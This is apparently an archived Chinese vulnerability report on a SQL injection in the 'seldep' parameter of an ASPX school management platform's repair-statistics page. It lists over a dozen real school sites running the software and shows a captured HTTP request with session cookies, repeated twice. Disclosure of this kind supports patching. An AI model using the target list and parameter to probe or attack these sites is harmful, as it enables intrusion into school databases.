### 简要描述：
某学校综合管理系统通用SQL注入漏洞影响众多学校
### 详细说明：
系统名称：学校综合管理平台
厂商：上海安脉计算机科技有限公司
关键字：版权所有：上海安脉计算机科技有限公司
系统架构：ASPX+MSSQL
漏洞文件：OA/repair/staticStat.aspx
注入参数：seldep
枚举部分案例：
http://anmai.net:81/OA/repair/staticStat.aspx
http://jwxx.am.jsedu.sh.cn/ANMAI/OA/repair/staticStat.aspx
http://bssyxxgl.eicbs.com/OA/repair/staticStat.aspx
http://cjzx.am.jsedu.sh.cn/OA/repair/staticStat.aspx
http://glpt.nhshs.edu.sh.cn/OA/repair/staticStat.aspx
http://218.78.241.80/anmai/OA/repair/staticStat.aspx
http://www.aqyz.net/anmai/OA/repair/staticStat.aspx
http://218.22.96.74:8899/anmai/OA/repair/staticStat.aspx
http://120.69.153.68:8002/anmai654202_458357247/OA/repair/staticStat.aspx
http://222.82.229.202:2010/anmai/OA/repair/staticStat.aspx
http://58.118.20.5/anmai/OA/repair/staticStat.aspx
http://124.228.32.115:81/OA/repair/staticStat.aspx
http://luoxzx.am.jsedu.sh.cn/OA/repair/staticStat.aspx
http://www.syzxyz.com:8008/OA/repair/staticStat.aspx
等等。。
漏洞验证：
这里以http://anmai.net:81/OA/repair/staticStat.aspx为例：
[<img src="https://images.seebug.org/upload/201503/19194012ce8b1be5ad5a912422c78cfdc17a5c9a.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/19194012ce8b1be5ad5a912422c78cfdc17a5c9a.png)
数据包如下：
```
POST /OA/repair/staticStat.aspx HTTP/1.1
Host: anmai.net:81
Proxy-Connection: keep-alive
Content-Length: 1059
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://anmai.net:81
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://anmai.net:81/OA/repair/staticStat.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: %d2%ec%b6%af%c9%be%b3%fd%a1%a2%d0%de%b8%c4=%d2%ec%b6%af%c9%be%b3%fd%a1%a2%d0%de%b8%c4%7cSF_Manage%2findex.aspx%3ftype%3d4%26a%3d2; %cf%fb%b7%d1%bc%c7%c2%bc%d0%c5%cf%a2=%cf%fb%b7%d1%bc%c7%c2%bc%d0%c5%cf%a2%7cSF_Manage%2findex.aspx%3ftype%3d2%26a%3d5; %bc%f5%c3%e2%c8%cb%d4%b1%c1%d0%b1%ed=%bc%f5%c3%e2%c8%cb%d4%b1%c1%d0%b1%ed%7cSF_Manage%2findex.aspx%3ftype%3d3%26a%3d4; ASP.NET_SessionId=fu3lhr45p5kavo553cyi5wyb; ASPSESSIONIDASDDBCCB=MGJJNPBDKFGIGGBABKJHKHIA
__VIEWSTATE=dDwtMTQyOTUxMjY1NDt0PDtsPGk8MT47PjtsPHQ8O2w8aTw1PjtpPDc%2BO2k8OT47PjtsPHQ8O2w8aTwwPjs%2BO2w8dDw7bDxpPDE%2BOz47bDx0PHQ8O3Q8aTwxOT47QDxcZTvmlZnliqHlpIQ75oC75Yqh5aSEO%2BaVmeeglOWupDvmoKHplb%2FlrqQ75pWZ5a2m5aSEO%2BaVmeiCsuWkhDvmoKHlip7lhazlrqQ756eR56CU5aSEO%2BS9k%2BiCsue7hDvpooTlpIflubTnuqfnu4Q75Yid5LiA5bm057qn57uEO%2BWIneS6jOW5tOe6p%2Be7hDvliJ3kuInlubTnuqfnu4Q76auY5LiA5bm057qn57uEO%2BmrmOS6jOW5tOe6p%2Be7hDvpq5jkuInlubTnuqfnu4Q75L%2Bh5oGv5Lit5b%2BDO%2Bezu%2Be7n%2BeuoeeQhuWRmDs%2BO0A8XGU7MTsyOzM7NDs1OzY7Nzs4Ozk7MTA7MTE7MTI7MTM7MTQ7MTU7MTY7MTc7MDs%2BPjs%2BOzs%2BOz4%2BOz4%2BO3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47bDxpPDA%2BOz47bDx0PDtsPGk8Mz47PjtsPHQ8dDw7O0BTeXN0ZW0uSW50MzIsIG1zY29ybGliLCBWZXJzaW9uPTEuMC41MDAwLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OTxpPDA%2BOz4%2BOzs%2BOz4%2BOz4%2BO3Q8cDxsPHN0eWxlOz47bDxXSURUSDogMTAwJVw7Qk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZTs%2BPjs7Pjs%2BPjs%2BPjtsPHJhZGlvMTtyYWRpbzI7Pj5Nli1yl6lyIm7SIU0%2BarPM%2F2%2ByPQ%3D%3D&isOK=&aa=1&seldep=2&fullname=aaaaa&startdate1=2015-03-09&enddate1=2015-03-18
```
相关代码如下：
[<img src="https://images.seebug.org/upload/201503/19194109f77eee87c9788b198d31c57bc6bc1a66.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/19194109f77eee87c9788b198d31c57bc6bc1a66.png)
[<img src="https://images.seebug.org/upload/201503/19194200a3341be217f1bfa0023b6885938373f4.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/19194200a3341be217f1bfa0023b6885938373f4.png)
当前数据库：
[<img src="https://images.seebug.org/upload/201503/19194211b6ad51e6b97fb56a18d8afd019cda5a0.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/19194211b6ad51e6b97fb56a18d8afd019cda5a0.png)
### 漏洞证明：
http://anmai.net:81/OA/repair/staticStat.aspx为例：
[<img src="https://images.seebug.org/upload/201503/19194012ce8b1be5ad5a912422c78cfdc17a5c9a.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/19194012ce8b1be5ad5a912422c78cfdc17a5c9a.png)
数据包如下：
```
POST /OA/repair/staticStat.aspx HTTP/1.1
Host: anmai.net:81
Proxy-Connection: keep-alive
Content-Length: 1059
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://anmai.net:81
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://anmai.net:81/OA/repair/staticStat.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: %d2%ec%b6%af%c9%be%b3%fd%a1%a2%d0%de%b8%c4=%d2%ec%b6%af%c9%be%b3%fd%a1%a2%d0%de%b8%c4%7cSF_Manage%2findex.aspx%3ftype%3d4%26a%3d2; %cf%fb%b7%d1%bc%c7%c2%bc%d0%c5%cf%a2=%cf%fb%b7%d1%bc%c7%c2%bc%d0%c5%cf%a2%7cSF_Manage%2findex.aspx%3ftype%3d2%26a%3d5; %bc%f5%c3%e2%c8%cb%d4%b1%c1%d0%b1%ed=%bc%f5%c3%e2%c8%cb%d4%b1%c1%d0%b1%ed%7cSF_Manage%2findex.aspx%3ftype%3d3%26a%3d4; ASP.NET_SessionId=fu3lhr45p5kavo553cyi5wyb; ASPSESSIONIDASDDBCCB=MGJJNPBDKFGIGGBABKJHKHIA
__VIEWSTATE=dDwtMTQyOTUxMjY1NDt0PDtsPGk8MT47PjtsPHQ8O2w8aTw1PjtpPDc%2BO2k8OT47PjtsPHQ8O2w8aTwwPjs%2BO2w8dDw7bDxpPDE%2BOz47bDx0PHQ8O3Q8aTwxOT47QDxcZTvmlZnliqHlpIQ75oC75Yqh5aSEO%2BaVmeeglOWupDvmoKHplb%2FlrqQ75pWZ5a2m5aSEO%2BaVmeiCsuWkhDvmoKHlip7lhazlrqQ756eR56CU5aSEO%2BS9k%2BiCsue7hDvpooTlpIflubTnuqfnu4Q75Yid5LiA5bm057qn57uEO%2BWIneS6jOW5tOe6p%2Be7hDvliJ3kuInlubTnuqfnu4Q76auY5LiA5bm057qn57uEO%2BmrmOS6jOW5tOe6p%2Be7hDvpq5jkuInlubTnuqfnu4Q75L%2Bh5oGv5Lit5b%2BDO%2Bezu%2Be7n%2BeuoeeQhuWRmDs%2BO0A8XGU7MTsyOzM7NDs1OzY7Nzs4Ozk7MTA7MTE7MTI7MTM7MTQ7MTU7MTY7MTc7MDs%2BPjs%2BOzs%2BOz4%2BOz4%2BO3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47bDxpPDA%2BOz47bDx0PDtsPGk8Mz47PjtsPHQ8dDw7O0BTeXN0ZW0uSW50MzIsIG1zY29ybGliLCBWZXJzaW9uPTEuMC41MDAwLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OTxpPDA%2BOz4%2BOzs%2BOz4%2BOz4%2BO3Q8cDxsPHN0eWxlOz47bDxXSURUSDogMTAwJVw7Qk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZTs%2BPjs7Pjs%2BPjs%2BPjtsPHJhZGlvMTtyYWRpbzI7Pj5Nli1yl6lyIm7SIU0%2BarPM%2F2%2ByPQ%3D%3D&isOK=&aa=1&seldep=2&fullname=aaaaa&startdate1=2015-03-09&enddate1=2015-03-18
```
相关代码如下：
[<img src="https://images.seebug.org/upload/201503/19194109f77eee87c9788b198d31c57bc6bc1a66.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/19194109f77eee87c9788b198d31c57bc6bc1a66.png)
[<img src="https://images.seebug.org/upload/201503/19194200a3341be217f1bfa0023b6885938373f4.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/19194200a3341be217f1bfa0023b6885938373f4.png)
当前数据库：
[<img src="https://images.seebug.org/upload/201503/19194211b6ad51e6b97fb56a18d8afd019cda5a0.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/19194211b6ad51e6b97fb56a18d8afd019cda5a0.png)
京公网安备 11010502034610号
暂无评论